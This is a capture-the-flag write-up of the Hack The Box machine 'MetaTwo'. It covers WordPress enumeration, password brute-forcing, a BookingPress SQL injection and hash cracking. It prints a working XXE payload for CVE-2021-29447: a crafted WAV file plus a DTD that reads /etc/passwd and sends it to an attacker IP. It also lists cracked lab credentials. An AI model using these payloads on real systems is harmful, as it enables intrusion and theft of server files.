MetaTwo

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#XXE#Wordpress#CVE-2022-0739#CVE-2021-29447#gpg2john#passpie

Start 08:39 22-09-2025

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Scope:
10.10.11.186

Recon

Nmap

sudo nmap -sV -sC -sT -p- metatwo.htb -T5 --min-rate=5000 -vvvv -Pn

PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp?    syn-ack
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (Debian) [::ffff:10.10.11.186]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/

80/TCP - HTTP

I used gobuster to enumerate the website and noticed that it was running WordPress:

Heading over to the site we notice a simple landing page:

I then headed over to /wp-admin to try and login using default creds:

This tells us that the user admin does exist.

Note

We can possibly brute-force it in case xmlrpc is enabled

wpscan

Running wpscan we notice that it’s in fact enabled meeaning we can try to throw a wordlist against it. But first we’ll check further down for the results.

Note

The twentytwentyone theme is vulnerable, once we’re inside we can get a webshell/reverse shell by modifying the 404.php page in order to achieve the desired results.

brute forcing xmlrpc - FAIL

Using the following command I try to brute force the admin credentials:

sudo wpscan --password-attack xmlrpc -t 20 -U admin -P /usr/share/wordlists/rockyou.txt --url http://metapress.htb/ --ignore-main-redirect

This took way too long however so naturally I continued on while leaving the brute force running.

I also found another user using the following command:

sudo wpscan --enumerate u -t 20 --url http://metapress.htb/ --ignore-main-redirect

I then tried out brute forcing manager as well.

XSS in search parameter - FAIL

Back on the main page I found a Search input bar:

Here I could enter anything I wanted and got the following result:

Analyzing the request further in burp yielded this result:

I tried to see whether this was injectable using XSS:

I then tried out xsstrike and got some false positives which didn’t end up working.

Moving on

Page source enum

Clearly I was still missing something so I went ahead and enumerated the other page that was accessible:

curl -s http://metapress.htb/events/ | grep plugins

Above I found another plugin that wasn’t found by wpscan on the mainpage, namely bookingpress-appointment-booking.

I then looked up the version to see whether it’s exploitable.

There’s a PoC on github available.

Foothold

CVE-2022-0739 - PoC

I went ahead and used this PoC from github:

As for the nonce it’s mentioning, we can find it in this request:

Combining the two we get the following result:

We can try and crack these hashes.

Hash cracking

We’ll be using mode 400 as per the docs:

manager
partylikearockstar

We can now go ahead and use these creds to log in.

CVE-2021-29447 - XXE

I started looking around for exploits for this WordPress instance:

Clicking on it I read the following:

PoC

We’ll basically need 2 files:

malicious.wav:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.5:80/xxe.dtd'"'"'>%remote;%init;%trick;] >\x00'> malicious.wav

And xxe.dtd:

<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#37; trick SYSTEM 'http://10.10.14.5/?p=%file;'>" >

We then go ahead and upload the file:

Once we click it we get the response:

Next up we can use the following script in order to decrypt the response:

<?php

echo zlib_decode(base64_decode('jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw=='));

📝 Summary

Through the XXE vulnerability we were able to retrieve the /etc/passwd file and find the jnelson user.

I then tried to retrieve the id_rsa from this user:

Unfortunately I did not get a valid response:

So I tried out the following (with some variations until it worked):

I then went ahead and pasted it inside the decrypt.php script again.

blog
635Aq@TdqrCwXFUZ

metapress.htb
9NYS_ii@FyL_p5M2NvJ

22/TCP - FTP

Using the latter creds we were indeed able to log into ftp:

Diving further into the /mailer directory we find:

Reading the send_email.php file we find a set of SSH creds for jnelson:

jnelson
Cb4_JmWM8zUZWMu@Ys

SSH as jnelson

user.txt

I was directly able to get the user.txt flag:

Enumeration

Inside this /home directory however I was able to find some interesting stuff:

Checking the root.pass yields us a a PGP encrypted message.

⚠ Important

So what is passpie?

Simply using the passpie command outputs *****.

Checking the version:

But this yields no PoC’s, instead I copy over the .keys output in order to try and crack it.

Privilege Escalation

Hash cracking

gpg2john

We can then crack it using john:

blink182

Using this passphrase we can gather all the creds:

root
p7qfAZt4_A1xo_0x

We can now use these creds to log in as root:

root.txt

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Finished 11:06 22-09-2025